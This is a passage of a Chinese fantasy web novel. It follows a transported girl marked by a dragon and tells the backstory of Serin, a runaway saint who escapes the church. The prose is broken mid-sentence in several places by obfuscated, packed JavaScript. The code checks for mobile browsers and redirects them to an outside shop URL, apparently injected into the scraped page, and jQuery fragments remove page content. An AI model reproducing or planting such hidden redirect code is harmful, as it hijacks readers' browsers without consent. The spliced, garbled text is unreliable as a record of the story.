几本大部头一齐在她面前翻开，书页翻得哗哗作响，宁三箴甚至怀疑她有八双眼睛，不然怎么看得过来。 “在这里。”潘多拉看得入了神，把宁三箴的手腕一把抓过来对比，“就是这个。” “那请问这是……” “龙选者的痕迹啊……”潘多拉踟蹰道，“整个潘塔洛斯已经很多年，不，是很多个百年没有出现过这种现象了。我还是在传说集里翻到的。” “这种现象太过远古，很多相关记录都是语焉不详，甚至自相矛盾。有的说这是一种恶毒的诅咒，受到诅咒的人会在三天之内以最凄惨最匪夷所思的方式死去，也有人说，这是一种罕见的赐福，受到赐福的人都会成为能够载入传说和史诗里有名的英雄人物。” 潘多拉摇摇头：“我无法为你们解决这个问题。不如你们尝试去神恩城看看？圣城汇集了全潘塔洛斯最强大的牧师，总教廷也在那里，对于驱散邪恶、祓除诅咒很有心得。” “不行。”瑟琳想都没想就摇头否决。 “哦。”潘多拉想起了自己之前的推测，“那么，纽斯堡怎么样？那里是北方最强大的贵族——奥梅尔家族的驻地。常年和巨龙对抗的他们应该也对这种异象有着更详细的记载。” “不行。”这次摇头否决的人是洛里斯。 “啧。”潘多拉轻嗤一声，“这也不行，那也不行。那你们去幽暗森林碰运气？搞不好遇到传说中的黑女巫还能有点奇遇，让她帮你们把这个问题给解决了？” 众人心照不宣地看了一眼宁三箴，又移开了视线。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182870|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哈！”潘多拉转了两下眼珠子，明白了众人的言下之意。她拍了下桌子：“那我可没办法了。” “事已至此，”宁三箴叹了口气，“我们只能去讨伐巨龙了。” 潘多拉：“啊？” “解决了问题的源头，相当于解决问题。” “解决了巨龙，它的那个什么印记，自然也会消失。” 宁三箴神色认真。 王权、教廷、南北分裂、巨龙…… 她已经找到了自己的主线任务。就在刚刚，她驱散巨龙阴影所获得的能量已经到账。 3%。 这比她辛辛苦苦忽悠大家，塑造自己的人设赚到的要多得多。如果继续下去，她就能攒够回自己世界的能量了吧？ 此外，姥姥骨灰盒的失窃、陈雨桐遭遇的诡异事件、还有来到这个世界之后就没再出现的血色倒计时……这一切的一切都推动着她迫切去寻找积攒能量的机会。 万界之门……虽然搞不清楚它的原理，但这已经是她手中唯一可用的底牌。 无论是为了保命还是探求真相，她都得抓紧一切可能性。 “你们……认真的？”潘多拉仿佛听见了什么天方夜谭，“这可不是什么英雄小说。历史上哪次讨伐巨龙不需要教廷和王室的支持？不需要贵族和骑士的加入？就凭你们五个人？” 在场的五个人竟然没有一个人的脸上露出怯色。 “这本来就是我的愿望。”面对这样巨大的挑战，简反而很期待。 “难道我们有别的办法吗？”对于这种玩命的事情，洛里斯竟然也很无所谓。 瑟琳点点头：“意料之中。” “哈哈！”潘多拉倒是没有继续指责和劝阻她们的不自量力，“我亲爱的小疯子们啊。你们倒是让我想起了一个人。” 她用手指拭去了眼角笑出的泪花：“不过委托出现预料之外的变故本来就是公会的失职，公会会为你们的求医之路提供必要的帮助。此外，我本人也会为你们提供必要的信息的。” “这是我的联系方式。”她将一张写着复杂符文的纸条递给瑟琳，“魔法师都知道该怎么用。” “介意听听我额外的建议吗？” 瑟琳收起纸条：“您说。” “除了上述两个地方，南部的学城热衷于研究各类新兴魔法，去那里也许也能找到一些新思路。” “可是我们……” “我知道你们要向西走。” “但是在那之前，不妨先赶去南方参加狼烽城一年一度的骑士比拼。今年的新规定，就算是自由农和平民也可以参加比武，胜者可以拥有获封骑士的资格。这能给你们的讨伐之旅增加一点经济上的路费和政治上的资本，至少没哪个贵族会给潘塔洛斯比武冠军坏脸色看。” “就算没赢，也可以通过狼烽城旁边的月港走水路直达学城，也许那里的学者会给你们完全不一样的结论和新的思路。” “巧合的是，我这里还有一个来自林间地的委托，任务轻松，报酬丰厚，足以支撑你们一路走到狼烽城。” 林间地是去往狼烽城的必经之路。 虽然大家对于潘多拉口中的“任务轻松”已经有了全新的认识，但这不妨碍她们觉得这样的安排非常合理。 “都同意我的建议？”潘多拉摸着下巴点了点头，“那就回去好好休息。明天醒了再来我这里接委托。” 疲惫至极的众人再一次在猎龙人公会的简塌上陷入了沉眠。 他们没发现的是——在今晚满月盈盈的月光下，她们腕间的黑色龙牙印记都折射出了诡异的、鳞片般的幽黑光泽。 12. 第十二章 神恩城。 圣希琳大教堂。 日光自教堂四面的巨大玫瑰花窗倾泻而入，在纯白的大理石地板上投射出斑斓的色彩，那光线恍如染了色的洪水，千万片红、蓝、紫、金涌入圣堂，再现了创世时的奇景。 奔涌的洪光落到圣堂里却变得平和，化为一层流淌在地面与廊柱上的、梦幻般的光毯。空气不再是空气，而是浮动着金色尘埃与乳香的圣膏，任何进入圣堂的人都会浸润在这恩典中，如同重返天堂。 这恢宏而广阔的圣堂却并不像其他教堂那样挤满了前来朝圣的信徒。 只有一个金发碧眼的女孩，可以说是孤零零地，也可以说是自得其乐地追踪着地板上那些晃动的光斑，那让她想起被街边孩子们视作通用货币的七彩糖纸。 圣堂的大门打开了，一个高大威严的身影出现在她面前。她立刻舍弃了那些无论如何也追不上的“假糖纸”，朝着来人扑去：“教宗爷爷！” 那慈眉善目老人的侍从却将她拦下：“圣女殿下，您应当对教宗大人保持适当的尊敬。” “神明宽恕孩童。”老人的声音充满了慈爱。 他展现了自身的宽和，脚步却不曾停下。 女孩跌跌撞撞地追赶，才能跟上他们的脚步。 教宗在神座上坐下，在这时，他便是神在凡俗的化身。 神座恰好在天窗之下，因此有源源不断的圣光自他头顶洒下。 “迷途的羔羊在呼唤你。孱弱的信徒需要你。” “你是否已经做好准备，作为神恩的载体，去回应他们的期待，指引迷途的羊羔？” “他们……”女孩有些忐忑，“他们会喜欢我吗？” 教宗皱了皱眉：“引导是神明的职责。宽和是神明的美德。他们是否喜欢你，与你无关。” 女孩带上金色的桂冠，穿起白色的绸缎，坐上华美的花车，迎接着神诞日的到来。 传说在这一天神明的化身诞于俗世，传说这一天上天降下神恩，让有罪的获得宽恕，让痛苦的获得安宁，让善行获得嘉奖，让不正获得公义。 在这一天，鸟雀为祂衔来月桂的纸条，牧羊女为祂编织成桂冠，麋鹿为她送来月光一般纯洁的绸缎，裁缝女将其裁成华美的衣袍。 于是在每一个神诞日，教廷的圣女就会穿起神降世时的衣物，在神恩城重现当时的盛况，播撒神的恩典。 女孩登上花车，对于年幼的她来说，这车过于高大，每次爬上这庞然大物都需要费尽力气。 但更可怕的是接下来的巡城。 狂热的虔信者早在天色泛白的时候就已经等候在城外，一等城门打开，这股狂潮便会碾过城门口的守卫，涌入盛会的广场前。 他们的眼睛里充满了女孩看不懂的虔诚和狂热；他们的手拼了命地想要越过那圣殿骑士组成的防线，去触碰传说中神明的化身；他们的衣着破烂、面黄肌瘦，却疯了一般抢着将自己手中带着脏污的银币和铜币塞进随行神甫捧着的圣箱，仿佛在抢夺登上天堂的阶梯。 女孩看着眼前肤色各异、年龄不同，却都带着相同的渴求，如同树杈一样朝着她疯狂生长的手臂们，瑟缩了一下。 “神……宽恕你们。”女孩的声音有些颤抖，但她仍旧没有间断地诵念着教宗留给她的经文。 周围的骑士按照教宗的旨意，一把将女孩幼小瘦弱的手臂拉到了花车外，周围的信徒因此而发出一阵又一阵的欢呼声。 那幸运地摸到了圣女的手的落魄老人甚至跪倒在地喜极而泣：“神！神明触碰了我的手！祂宽恕我了，宽恕我了啊！” 他捂着眼睛想要平复激动的心情，泪水却依旧从指缝流出：“我的孩子……终于有救了吗？” 他几乎是爬一样得飞快地跑离了人群，奔向了城门外的方向。 像他一样喜极而泣，又或是欣喜若狂的人不在少数。 从女孩的角度看来，从那高高的花车上看去，那些人的悲喜如同蚂蚁搬家的行为，有趣，但和她无关。 “但事情不应该是这个样子的。”修女在给女孩手臂上被刮出的血痕和淤青上药的时候，女孩充满不解地询问教宗，“奉神者的善行不应是媚神的典礼，而应当是从心的笃行。” 她引用了典籍中的话来提出自己的疑问：“我的巡游，真的能够帮到他们吗？” 教宗摸了摸她的脖子，老人枯糙的手指划过她幼嫩的肌肤，就像什么爬行动物滑过。 他同样使用了典籍中的话作为回应：“寻求解脱的人，必先奉献你的虔诚。” 女孩想起巡游过程中人们争先恐后塞入圣箱的钱币，甚至连圣殿骑士盔甲的缝隙中都嵌满了金闪闪的钱币。 他们的……虔诚吗？ 少女的眼睛望向穹顶，肋拱从粗壮的束柱上生长出来，像石质巨树的神经与骨骼，冰冷而陌生。天使与先知的雕像从阴影中浮现，他们的衣袍褶皱被工匠赋予了风的形态，可他们却是死的。 阳光从穹顶洒下，带来纯白的大理石地板上跃动的光斑。 她已经习惯了那些梦幻的光斑，不再将追逐那些“假糖纸”作为自己仅有的娱乐活动。 她很忙，有无数的课业等着她去完成。 尤其是神术课，每一次的课程几乎都要将她体内的魔力抽干。 不过这有助于她成长。教宗是这么说的。 他越发老了，皮肤像是干枯的树皮一样皱缩起来，声音却依旧慈和平稳，宣读圣谕的声音依旧洪亮，人们将之视为神对自己传话人的恩赐。 巡游还是一如既往的无聊。 狂热的人群、蜂拥而至的钱币、还有莫名其妙的喜极而泣…… 难道他们不知道仅仅是摸一下圣女的手不会给自己悲惨的人生带来任何改善吗？ 她看着那些争先恐后将钱币塞进圣箱的人们，他们衣衫褴褛、神情狂热。 你、你，还有你，她在心里怒吼：“难道你们不知道，把钱留在自己身边，才能让孩子们有度过这个寒冬的希望？难道你们不知道，把这些钱拿去找医生，才可以治愈你们奄奄一息的家人？” 又是一个因为触碰到她的双手被赦罪，喜极而泣的老人。 他的眼泪从指缝中渗出，留到怀中脸色通红，发着高烧的女童身上。 在少女眼里，他和前些年那些喜极而泣的人没有任何区别。 真的没有区别吗？ 那些喜极而泣的人往往第二年不会再出现在圣城。 是因为他们达成了自己的愿望吗？还是因为他们早已绝望，甚至不在人世了呢？ 他们当然知道神迹之所以是神迹，正因为其不轻易显现。可是除了期待神迹，他们还有什么别的办法吗？ 难道那几个铜币留下，就能避免贵族们的苛捐杂税，帮助一家人熬过寒冬吗？难道留下那几个银币，就能让医生治好家人的不治之症，就能让那些奄奄一息的人活蹦乱跳了吗？ 他们可能连这个秋天都熬不过。 他们可能倾尽家财也无法见上医生一面。 这难道就是正确的？是应该的？是无可改变的吗？ 神明的恩典没有降临人间，圣女的愤怒却足以将俗世的鲜花和桂冠焚烧殆尽。 她第一次从花车上站了起来，挣脱了圣殿骑士对她的束缚，指尖散发出神术的光芒。 “我，潘塔洛斯的圣女，以神的名义向众人宣告。” “神宽恕你们。” “但这并非因为你们有罪，而是因为这罪孽的世间。” 花车边的圣殿骑士大惊失色。 因为这并不是被教宗改写过的新经的内容，而是被教廷废止已久的旧经中的圣典。 “它让那勤劳的不得报酬。”少女指尖的亮光拂过重病的孩童，遏制了他们的咳嗽。 “它让那善良的不得公义。”少女手中的治疗术光芒越发闪耀，让那患处流血的伤患平复创伤。 “它让那勇敢的不得安眠。”一个遍及整个圣城的治疗神术阵在少女脚下展开。 她体内的力量又一次被抽空，可是她却觉得前所未有的畅快。 这才是真正的神诞日庆典应有的样子。 然而畅快的代价是禁闭。 这次的神诞日巡游被视为百年来最重大的事故。 “你是神之女！”连教宗也被她气得够呛，“你的神力应当被用来侍奉神明，而不是……” “看看你都干了些什么！” 禁闭与她而言和平时并无分别。毕竟平时她也只能待在圣堂内，连外出也要经过严格的审查以免玷污圣女的纯洁性。 此次事件被教廷认为是圣女的纯洁被俗世玷污的严重事件。 教宗不再定期接见少女，留下的只有一封教谕——将她遣送到远在南方的圣玛兰修道院，在那里接受为期三年的苦修和劳役。 “希望苦修可以净化圣女被玷污的灵魂。”送她离开时，修女的眼睛里充满了怜悯。 教宗依旧高坐神座，神情不明。 圣堂带着华丽圣洁浮雕的大门在她面前缓缓关闭。 被放逐对于少女来说却代表了一种全新的可能和冒险。 圣玛兰修道院是一座典型的旧式修道院。 高高的尖顶、漆黑而狭小的告解室，简朴甚至粗陋的一餐……一切的一切都是按照极度的苦修标准而建立的。 他们曾以为这样会让穿惯了绸缎、吃惯了白面包和葡萄酒的圣女无法忍受。修女甚至决定如果圣女来信恳求的话，她一定会为她去教宗面前求情的。 然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182871|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事实是，圣女时常来信关心她的生活，却从未向她抱怨过修道院的艰苦。修女为这孩子身上的虔诚气息而感动。 少女简直爱死了这个地方。 因为圣玛兰修道院的隔壁是王室主持新建的魔法学院，其后逐渐发展壮大，变成了一座学习和研修气息浓郁的城镇，是谓学城。 在王的支持下，学城的势力日渐壮大，即便是一贯信奉保持原状的圣玛兰修女会，为了在城镇内生活也不得不和学城中的诸多事务打交道。 少女抓住了这个机会，表示自己愿意为修女们处理庶务，来帮助她们进行无所打扰的清修。修女们很单纯，夸赞她是真正舍己为人的虔信徒。 学城的学风非常自由。 这起源于学城第一届监事会的一场辩论——这世间唯有真理能让我俯首，除此之外，再无他物。 连王权和神明也不能吗？ 不能。 那学者答完话，才发现发问的是潘塔洛斯的王。 卫队的利剑已经出鞘，冒犯王的权威，亵渎神明的神圣，无论哪宗罪都足以让他被处以极刑。 王却开怀地仰天长笑，以王的名义宣告学者无罪。至于神明，倘若祂没有容忍世人探寻真理的雅量，那么这样的神，不要也罢。 说罢，王大笑着推门而去。学城自由而理性的学风却因此长久地流传下来。 即便没有学籍，少女也可以在学城的各大学院间穿梭，借阅学城的诸多书籍。她接触到了许多神明典籍之外的图书，了解到了魔法并非教廷的特权，有许许多多的魔法师以生命为代价，凭借矢志不渝的决心，探寻着有关魔法的奥义。 她也交到了许多男男女女的朋友，她们有些是跟从家族中的医院，来到学城学习神学或者法学，也有些出身贫寒，凭借自身的天资和王室的资助，前来求学，还有很多出身奇妙、三教九流的朋友，在学城学习更为神秘的占卜学或者魔药学，这些人也都被学城所容纳。 这些出身各异的少男少女们在学城同吃同住，以饱满的求学热情，憧憬着未来。 少女从未遇见过如此之多的同龄人，也在和她们交流的时候闹了不少笑话。不过好在，朋友们都很包容，少女也逐渐意识到了，从前教廷对她的抚育，实则是一种圈养。 而她每次上神术课都要走过的那个法阵也并不是什么洁净身心的神术阵，而是一种能够抽提人类生命和能量的魔法阵。 她想到教宗如今的一百多岁高寿，想到他干枯如树皮一般的皮肤，想到圣殿骑士们对她的保护，与其说是在紧张她这个人，不如说是在保护一个珍贵易碎的容器。 三年的苦修结束了。 圣玛兰修道院的修女们依依不舍地送别少女。 门外，就是接少女返回北部神恩城的马车。 那些圣殿骑士在门外面无表情地等着她，一如当年教廷将她从贫穷但温馨的养父母家带出时那样。 要回去吗？ 要回去继续当一个不能有思想的提线木偶？继续当一个受万人敬仰的漂亮花瓶？继续当一个被不断抽取生命力和魔力的完美容器？ 多可笑啊。 身为圣女，她的魔力本该用于那些更需要帮助的、在痛苦和地狱的门前徘徊的可怜人，曾今却源源不断地流向了这世间最尊贵的存在。 身为教廷，本应恪守清贫，将自身所有洒向贫苦的人们，如今却从那些贫苦人的血管里源源不断地抽提钱币和供奉。 身为人类，她本就该对同类的痛苦感同身受，却在教廷的教诲下直到三年前才勉强感知到切身之痛。 若这世间存在公平，为何要叫这欺世盗名者高高在上？ 若这世间存在正义，为何要让苦难者更添苦难？ 若这世间存在悯人的神明，为何要让魔法只成为教廷的特权？ 她早已受够了这一切。 北地的民众们至今仍在讨论三年前神恩城出现的那场神迹。 那么她的回答也与三年前没有任何不同。 就让北部的神殿和它所钟爱的钱币一起坠入腐烂和消亡吧！ 学城自由的风在她身体里鼓动，三年的修养疗愈了她的身心，也让这位天生的魔法师变得更加强大。 狂风在修道院门口拔地而起，将少女华丽的腐朽过往撕成碎片，满城的通缉令如同飞雪一般纷纷扬扬地从高远的青空飘落，教廷圣女叛逃甚至恶堕为女巫的消息就像插了翅膀一样传遍北方三城。 而少女早已乘风而去，才识是她的桂冠，勇敢是她的衣袍。 她就这样一直向前跑啊跑，直至加之于她身上的枷锁都如蛋壳般碎裂。 剥离掉名为圣女的躯壳，她终于想起了自己的名字。 瑟琳。 我的名字是瑟琳。 13. 第十三章 一根狗尾巴草被放在宁三箴鼻子下。 “转转转。”陆雪莹一脸期待地对着简做口型。 “这不太好吧？”简有些犹豫。 “你信我。”陆雪莹接着做口型，“她不会生气的。只会毛茸茸地走开。” 简好像听不太懂她后面那句话，但是依旧很乖地用狗尾巴草在宁三箴鼻子下转了转。 “阿嚏！” “陆雪莹！”宁三箴眼睛都没睁开，就已经把手伸出去制裁罪魁祸首了。 然后和自己怀里的简面面相觑。 “咳咳。”她放开了简，面色正经，“我不是最后一个起床的吧？” “还真不是。”陆雪莹把她从床上提起来，“瑟琳到现在还没醒。以她的性格来说，还挺不正常的。我们都担心她生病了或者有哪里不舒服。” “但也没人敢进去，怕遇上恶龙留下的什么陷阱” “一般这种时候就要出动我了吧。”宁三箴也对自己这个大魔法师的身份适应良好，“让我去看看。” “别逞强。”陆雪莹叮嘱她，“刚才被摆了一道。” 前几天赶路的时候，瑟琳和她分享过一些远距离查看的小魔法。 说来也很神奇，自从宁三箴通过这三位伙伴做稳了自己大魔法师的人设，并获得了3%的能量之后，她听到瑟琳提起什么魔法，她的脑子就会自然而然地理解这个魔法的使用方法，就好像和一个从来没有学过阿拉伯数字但是通晓数理逻辑的人展示1+1=2，她会像吃饭喝水一样自然地理解这一事实，并且告知你加减乘除的规律。 简而言之，她成了魔法天才了。 我们的魔法天才将瑟琳分享给她的小魔法稍作改良，变成了增强五感的魔法，用极少的魔力查探到了瑟林的状态。 “还睡着……身体状态很平稳，不想生病了，也不像是遇见了什么诅咒。” “就是好像睡得不是很安稳。” “做噩梦了？” 宁三箴选择直接敲门：“醒了吗？瑟琳。” 她并未回应，似乎还身处噩梦之中。 睡得很死、醒不过来也是个大问题。 宁三箴敲门的声音急促了些：“瑟琳？” 简的神色变得有些焦急。 “瑟琳！” “砰！”房间里传来什么重物落地的声音。 简看起来打算撞门进去了。 “别急。”宁三箴把她按下，“只是掉到床下了。听呼吸声，应该是醒了。” 宁三箴再次敲了敲门：“醒了吗，瑟琳？没事吧？” 门内响起人和被子摩擦的悉悉索索的声音，随后是一阵虚浮的脚步声，最后是老破木门“吱呀”一声打开的声音。 “我没事。”瑟琳的眼下似乎有些淤青，“就是做了个很长很长的梦，梦到了一些过去的故事。” 她抬手揉了揉眼睛：“不用太担心我。” “等等！”宁三箴眼尖地发现她手腕处的黑色龙牙印记发生了变化。 “怎么变成红色了？” 形状、位置、大小都没有改变，只是黑色褪成了深红色。 “所有人之中，只有瑟琳的印记变色了。” 洗漱完坐在早饭桌上时，众人还在忧心忡忡地讨论这一变故。 “只是因为做了梦吗？”宁三箴问道，“还有没有哪里觉得不舒服？” 瑟琳摇头：“我已经用神术自检过一遍了，没有任何异常。” “龙牙印记对治愈和驱散魔法以及神术本来就没有反应。”宁三箴把黑面包都泡进汤里，“发现印记的时候我们当场就做过检测了。这不能说明问题。” 她沉吟着，差点把面包条塞进鼻孔里：“还是要找个懂行的来看看。” “或者我们一不做二不休。”她把餐刀狠狠插进了面包里。 “得了得了，别糟蹋粮食。”陆雪莹这时的语气就很像陆姨了，她一把把宁三箴的手从面包上挥开，“疑神疑鬼的，别等下没病疑出病来了。” 吃过早饭，几人从潘多拉手里领取了委托书。 “委托人：威廉·克莱尔男爵” “委托事项：帮助他被魔鬼迷惑的女儿重返人间？” “这种事不是应该找教廷吗？” 潘多拉优雅地端起红茶杯，咕嘟咕嘟往嘴里灌：“你看看报酬呢？” “委托报酬：一百个金币？如果让男爵满意还有额外奖励？” “天哪。”宁三箴惊叹，“这个任务我们接定了。驱邪这种事情，我们团队可是手拿把掐啊。” 宁三箴看了看疑似教廷出身的瑟琳，又想到自己的驱散术。 潘多拉则看了看大家手腕上的龙牙印记，不再言语。 穷困潦倒的众人对于这个决定没有任何异议。 于是鬼火小队就这样踏上了处理猎龙人生涯中第一个委托的征程。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182872|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 东南门被城内迎接奥梅尔公爵大人车架的贵族和佣兵们占满，大家只能从西北门绕道而行。 “奥梅尔真不愧是北方三城第一大贵族，迎接公爵的热闹声音出了城居然还能听见。”陆雪莹掏了掏耳朵，“早知道多留两天看热闹了。” “多留两天搞不好就毒发身亡了呢。”宁三箴接替简的工作，开始驾驭驴车，这个她做得很顺手，大概是因为小时候没少和姥姥在地里跑。 洛里斯倒是骑马远远地缀在驴车后头，用他的话说是殿后，以防那些佣兵识破他的身份反映过来追上来。 宁三箴很想告诉他前两天都没发现，后面就更不可能发现了，殿后一说纯属给自己找活干。但转念一想，这么个人在队伍里多少要起点作用，打架治疗都不行，好歹也要起到一点吉祥物的作用，也就随他去了。 洛里斯深深地回望了眼热热闹闹、万众欢腾的火石城，摸了摸座下的黑马，一夹马腹，转身打马赶上了伙伴们。 途间，大家都想绕道回到最初遇见巨龙的村庄看看，希望那里还能留下些线索或者痕迹。 遗憾的是，什么也没有。 众人不欲浪费时间，正要离开之际，这村庄的村长赶上了她们。 “实在抱歉。”老村长的脸上浮现出一丝不好意思，“之前没想到你们的能力如此强大，也没想到这群魔物竟然能引来巨龙的投影。” “如果可以的话，我想请你们今晚留下来，接受村子的款待，也让我们能够表达我们的歉意。” 瑟琳摇了摇头：“您的好意我们心领了。只是……宁？” 宁三箴站在那天因战斗倒塌的建筑废墟之间，双目紧闭，指尖闪现微光，口中念念有词。 与此同时，那些散落一地尚未被清扫的砖瓦腾空而起，在漫天飞舞的尘土中，那些建筑倒塌前的样貌正在逐一复现。 牛棚、平房、沾了泥土的干草……都在逐渐显示这场浩劫尚未到来时的模样。 全村的人都因为这巨大的动静撼动，连老村长也目不转睛地盯着这堪称神迹的变化，手中的拐杖都忘了挥舞。 宁三箴趁此机会拉上简和瑟琳，对着洛里斯的马屁股狠狠拍了一巴掌，朝陆雪莹喊道：“风紧，扯呼！” 她和伙伴们在漫天黄土中骑着驴车飞驰而去，只留下一句似是而非的箴言：“Hoc est gratia Dei. ” 世界在她们身后重现。 14. 第十四章 “怎么突然就跑了？”陆雪莹被宁三箴一把拽走，赶了许久的路脑袋还是懵的。 “你知道我们那天遇到的巨龙是什么形态、什么形成原理吗？”宁三箴将鞭子甩得犹如公园晨练老大爷。 “不知道。” “问题就坏在这里。”宁三箴面色沉了下去，“那个老村长非常肯定地说那群魔物引来了巨龙的投影。他要是早就知道这一点，何至于还要向猎龙人公会求援？” “所以说他至少是在我们离开之后知道的。如果在那之前知道，应该会撤销委托，毕竟委托费也不是一笔小钱。”陆雪莹思考道，“那么，一个小村的村长……是从哪里获得的这种知识呢？” “排除掉突然被莫名其妙的神天授这种离谱的可能性。”宁三箴沉吟道，“他能接触到的最高学历人士就是教廷的教士和牧师吧。” “之前村长说牧师去教廷求援。”陆雪莹看了一眼宁三箴，“要是他回来了，看到箴宝施法留下来的痕迹……” “不是‘要是’，而是‘已经’。”宁三箴放任疾驰的驴车一路向前，“那处废墟虽然处于村落边缘，却也与交通要道接壤，为了生产生活通行方便，至少也应该把周围的碎石碎砖清理一下。可是那些痕迹跟我们走时没有半分差别。” “这说明什么？”她眉头紧皱，“恐怕早在我们施术的时候就察觉不对了吧？所以才需要保留现场痕迹留待教廷查看。” 剩下还有一句话，宁三箴没有说：“我们这一个黑女巫，一个疑似逃出了教廷，已经足够显眼了。” “在接下来的行程中，只能更加小心。”她朝着几位同伴下了结论。 一番讨论后，她们决定恢复了最初的配置。 在遇到危险时，由洛里斯上前打头阵吸引视线，简负责突击，瑟琳下杀手，宁三箴和陆雪莹留在后面放冷枪支援。 等一下。 宁三箴想起了刚穿越到这个世界的那一天。 她要是对洛里斯的求饶无动于衷甚至痛下杀手，恐怕之后迎来的就是简的大棒和瑟琳的魔法攻击了吧？ 异世界还真是危险啊。 此时的瑟琳也是一脸劫后余生的庆幸：“教廷的追杀还真是危险。要不是前辈足够敏锐……不，要不是遇到前辈那天我们都状态不好不敢出手，恐怕现在尸体都已经腐烂在幽暗森林里了吧？越强大的东西越危险，还好我们是在和这个世界上数一数二的危险女巫同行。” 坐在驴车上，突然收到了万界之门能量值“+1”提醒的宁三箴莫名地挠了挠头：“我好像没做什么吧？” 按照潘多拉给她们的规划，她们应该先顺着南北之间最大的那条通路取道林间地完成委托，再顺着林间地周围小山丘间的道路向南直达狼烽城。 “委托人：威廉·克莱尔男爵” “委托事项：帮助他被魔鬼迷惑的女儿重返人间。” 在确认离开小镇很远、且没有追兵之后，宁三箴把驴车的缰绳交给简，自己则躺在驴车板上看起了委托书。 “这个克莱尔男爵，你们有谁了解吗？”宁三箴朝着洛里斯扔了块黑面包，被他精准抓住。 “亲爱的女巫小姐，您为什么猜测我会有所了解呢？” “因为你自我介绍的时候提过自己年幼时的理想是成为吟游诗人？”陆雪莹知道他介绍自己时宁三箴在发呆，因此接过了话头，“听说成功的吟游诗人都有着强大的记忆力，能够将这片大地上所有发生过的故事都记忆下来，化作自己吟唱的诗篇。” 这点就算是在她们原本的世界中也是一样的。记忆力是吟游诗人吃饭的本钱。 “好吧好吧。”洛里斯拿起黑面包，掀开面罩开始讲述，“要从哪里开始说起呢？克莱尔家族不那么符合女神教义的发家史吗？还是他们家仿佛受到了诅咒一样的家庭背景呢？” 一听有八卦听，几人都精神了起来。 陆雪莹瞪大了眼睛：“详细说说？” “早些年，在恶龙还没有席卷大地，人类还在与精灵、巨人等种族共存的时候，邪恶的巫师统治着大地。” “她们扒去孩童的皮肤作为使她们青春永驻的补药；她们抽取少男的血液来炼制延年益寿的魔药；她们将普通人类作为奴仆，甚至用他们来试药。” “她们的统治让人类过着苦不堪言的生活，她们的欲望践踏着人类最基本的善良本性。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182873|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “终于，伟大的潘塔洛斯王带着七位骑士勇敢地站了出来。他们的讨伐受到了女神的庇佑，他们的利刃所向披靡，他们每经过一个地方都会收到人们尽情的欢呼。” “邪恶的巫师伏诛了。一个强大的王国，潘塔洛斯王国就这样建立了起来。” “说重点。”宁三箴收起委托书，“你说的东西和克莱尔家族没有半点关系。” “重点就是，潘塔洛斯王所带领的七位骑士，后来都被分予了潘塔洛斯最富饶的七片土地，成为了王国最有名望的贵族。” “而我们故事的主角，克莱尔家族……” “不在这七大贵族之中。” 宁三箴单手扶额，她想自己已经知道为什么洛里斯没能实现童年时的愿望了。 他去当吟游诗人只会把自己饿死，拾掇拾掇自己找个有点小钱的女贵族赘了倒是还有些希望。 “但这个家族确实和七大贵族有着千丝万缕的联系。” “它是著名的‘联姻之家’。” “它的繁荣完全建立在女人的裙摆之下。” “直到潘塔洛斯王国建立之初，第一位克莱尔始终只是一位颇有家资的富商。他的觉悟仅限于随着大流给讨伐军捐一点自己指缝中漏下来的黄金，仅此而已。” “但他有一位美貌异常的妻子，他的妻子又生下了几位美貌更盛的女儿。” “晚年的老克莱尔再没见过自己的妻子和女儿，但他的封地和爵位倒是在与日俱增。” “自那之后，克莱尔家族极其重视对于女儿的教育，力求让她们都能与更强大的贵族联姻。多代人经营之后，克莱尔家族已经与潘塔洛斯的贵族们都有着千丝万缕的联系。” “但是克莱尔家族的女儿越生越少了。” “直至这一代的克莱尔男爵，他的孩子都因为各种不明原因早夭，最后只剩下了一位女儿。按照王庭的法令，这个女儿就是他唯一的继承人了。” “人们都说这是神对于克莱尔家族贪图享乐、只想要走捷径、不肯去战场上流血牺牲的惩罚。” “那么这份委托书……”宁三箴陷入沉吟，“怪不得价值一百个金币啊。” 15. 第十五章 从火石城出发，需要穿过几座横贯山脉，再经过一片名为“魔鬼森林”的地方，才能抵达林间地。 